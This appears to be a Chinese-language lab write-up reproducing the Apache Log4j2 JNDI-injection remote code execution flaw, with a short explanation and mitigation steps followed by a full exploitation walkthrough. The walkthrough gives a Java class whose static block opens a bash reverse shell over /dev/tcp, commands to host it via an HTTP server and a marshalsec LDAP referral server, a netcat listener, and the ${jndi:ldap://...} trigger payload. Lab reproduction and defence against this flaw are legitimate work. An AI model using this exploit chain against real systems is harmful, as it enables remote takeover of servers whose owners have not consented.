前言: 漏洞复现环境来自于掌控者安全,在此深表感谢!!!

复现环境在“掌控者安全”,有兴趣的朋友可以去复现一下。上图略微有颜色,不过毕竟挖洞太乏味,需要让生活精彩嘛,介意请撤退。。


一、漏洞介绍

1、漏洞介绍

漏洞简介:
Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

基本原理:
apache的log4j2版本,在打印日志内容时,使用了一个lookup函数,如果数据中存在${xxxx}这样的格式的数据,那log4j就会将该数据当做资源地址进行请求,如果说这串数据是一个ldap服务的资源地址,那么就可能造成JNDI注入,从而导致RCE,因此也可以说该漏洞是一个JDNI注入漏洞。

2、漏洞修复与防护

1)升级log4j2到最新的log4j-2.15.0版本。
官方升级的防御方法:

  • 只允加载被允许的ldap资源文件
  • 只允许加载固定的ldap资源地址

2)修改配置信息
在项目的 log4j2.component.properties 配置文件中添加配置(值得注意的是该方法只适用于log4j-2.10.0以上版本):

log4j2.formatMsgNoLookups = true

也可以在java的启动项中添加该配置:

-Dlog4j2.formatMsgNoLookups=true

3)使用各种软硬件waf


二、漏洞复现

1、构造反序列化的EXP(github copy),其中IP和PORT自行更改,名命Exp.java。

import java.lang.Runtime;
import java.lang.Process;

public class Exp {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/ip/port 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

2、使用javac 进行编译:javac Exp.java

java 源码漏洞扫描 java rce漏洞_log4j2

3、在class文件目录下使用python 开启http服务 python3 -m http.server 40081

java 源码漏洞扫描 java rce漏洞_java 源码漏洞扫描_02

4、使用 marshalse项目在40082端口上开启一个ldap服务。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:40081/#Exp" 40082

java 源码漏洞扫描 java rce漏洞_web安全_03

5、使用nc监听7777端口

java 源码漏洞扫描 java rce漏洞_log4j2_04

6、在目标靶机上发送payload:${jndi:ldap://ip:40082/Exp}

java 源码漏洞扫描 java rce漏洞_web安全_05

7、成功反弹shell,但是…命令执行不了,操蛋了。

java 源码漏洞扫描 java rce漏洞_安全_06


参考连接: